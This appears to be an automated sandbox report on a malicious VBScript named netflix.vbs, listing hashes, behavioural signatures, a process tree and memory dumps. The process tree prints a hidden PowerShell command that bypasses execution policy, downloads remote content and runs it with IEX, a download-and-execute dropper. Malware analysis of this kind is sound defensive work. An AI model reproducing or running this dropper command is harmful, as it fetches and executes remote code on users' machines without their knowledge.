Analysis

  • max time kernel
    145s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/10/2023, 01:05

General

  • Target

    netflix.vbs

  • Size

    1000B

  • MD5

    3e4a20fd9f6d3e595eba5ab59c868cb6

  • SHA1

    660ba0a49f0d9db61c1054c78abbce232bc8401c

  • SHA256

    70d3f1296d41d516e04e53e58f812207d5f675ebb1e9686ed4b8552cb062544b

  • SHA512

    85838fd9828c8fc91f0985c8f3e3b1a3c03425e3aba5517104dcbd96c63115545758a625b59bf2d6beaf225758e8af375fc774d6cc612ebef9a126732c200dd8

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://www.netflix.com/

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\netflix.vbs"
    1⤵
    • Checks computer location settings
    • Drops startup file
    • Suspicious use of WriteProcessMemory
    PID:4164
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Windows\syswow64\Windowspowershell\v1.0\powershell.exe
        C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe -ExecutionPolicy Bypass -windowstyle hidden -command [System.Net.WebClient]$webClient = New-Object System.Net.WebClient;[System.IO.Stream]$stream = $webClient.OpenRead('https://www.netflix.com/');[System.IO.StreamReader]$sr = New-Object System.IO.StreamReader -argumentList $stream;[string]$results = $sr.ReadToEnd();IEX $results; runnull
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4124

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_de2xupid.sit.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/4124-25-0x00000000078E0000-0x0000000007F5A000-memory.dmp

    Filesize

    6.5MB

  • memory/4124-27-0x000000007F400000-0x000000007F410000-memory.dmp

    Filesize

    64KB

  • memory/4124-4-0x0000000004F30000-0x0000000004F40000-memory.dmp

    Filesize

    64KB

  • memory/4124-5-0x0000000005570000-0x0000000005B98000-memory.dmp

    Filesize

    6.2MB

  • memory/4124-6-0x00000000053D0000-0x00000000053F2000-memory.dmp

    Filesize

    136KB

  • memory/4124-7-0x0000000005470000-0x00000000054D6000-memory.dmp

    Filesize

    408KB

  • memory/4124-8-0x00000000054E0000-0x0000000005546000-memory.dmp

    Filesize

    408KB

  • memory/4124-2-0x00000000752A0000-0x0000000075A50000-memory.dmp

    Filesize

    7.7MB

  • memory/4124-26-0x0000000006800000-0x000000000681A000-memory.dmp

    Filesize

    104KB

  • memory/4124-19-0x00000000752A0000-0x0000000075A50000-memory.dmp

    Filesize

    7.7MB

  • memory/4124-20-0x0000000004F30000-0x0000000004F40000-memory.dmp

    Filesize

    64KB

  • memory/4124-21-0x0000000005030000-0x000000000504E000-memory.dmp

    Filesize

    120KB

  • memory/4124-22-0x0000000006370000-0x00000000063BC000-memory.dmp

    Filesize

    304KB

  • memory/4124-23-0x0000000004F30000-0x0000000004F40000-memory.dmp

    Filesize

    64KB

  • memory/4124-3-0x0000000004F30000-0x0000000004F40000-memory.dmp

    Filesize

    64KB

  • memory/4124-24-0x0000000004F30000-0x0000000004F40000-memory.dmp

    Filesize

    64KB

  • memory/4124-18-0x0000000005D60000-0x00000000060B4000-memory.dmp

    Filesize

    3.3MB

  • memory/4124-1-0x0000000002980000-0x00000000029B6000-memory.dmp

    Filesize

    216KB

  • memory/4124-28-0x00000000078A0000-0x00000000078D2000-memory.dmp

    Filesize

    200KB

  • memory/4124-29-0x00000000710C0000-0x000000007110C000-memory.dmp

    Filesize

    304KB

  • memory/4124-30-0x0000000071250000-0x00000000715A4000-memory.dmp

    Filesize

    3.3MB

  • memory/4124-40-0x0000000007700000-0x000000000771E000-memory.dmp

    Filesize

    120KB

  • memory/4124-41-0x0000000007F60000-0x0000000008003000-memory.dmp

    Filesize

    652KB

  • memory/4124-42-0x0000000007880000-0x000000000788A000-memory.dmp

    Filesize

    40KB

  • memory/4124-43-0x0000000008150000-0x00000000081E6000-memory.dmp

    Filesize

    600KB

  • memory/4124-44-0x00000000080B0000-0x00000000080C1000-memory.dmp

    Filesize

    68KB

  • memory/4124-45-0x00000000080D0000-0x00000000080DE000-memory.dmp

    Filesize

    56KB

  • memory/4124-46-0x00000000080E0000-0x00000000080F4000-memory.dmp

    Filesize

    80KB

  • memory/4124-47-0x0000000008120000-0x000000000813A000-memory.dmp

    Filesize

    104KB

  • memory/4124-48-0x0000000008110000-0x0000000008118000-memory.dmp

    Filesize

    32KB

  • memory/4124-51-0x0000000004F30000-0x0000000004F40000-memory.dmp

    Filesize

    64KB

  • memory/4124-52-0x00000000752A0000-0x0000000075A50000-memory.dmp

    Filesize

    7.7MB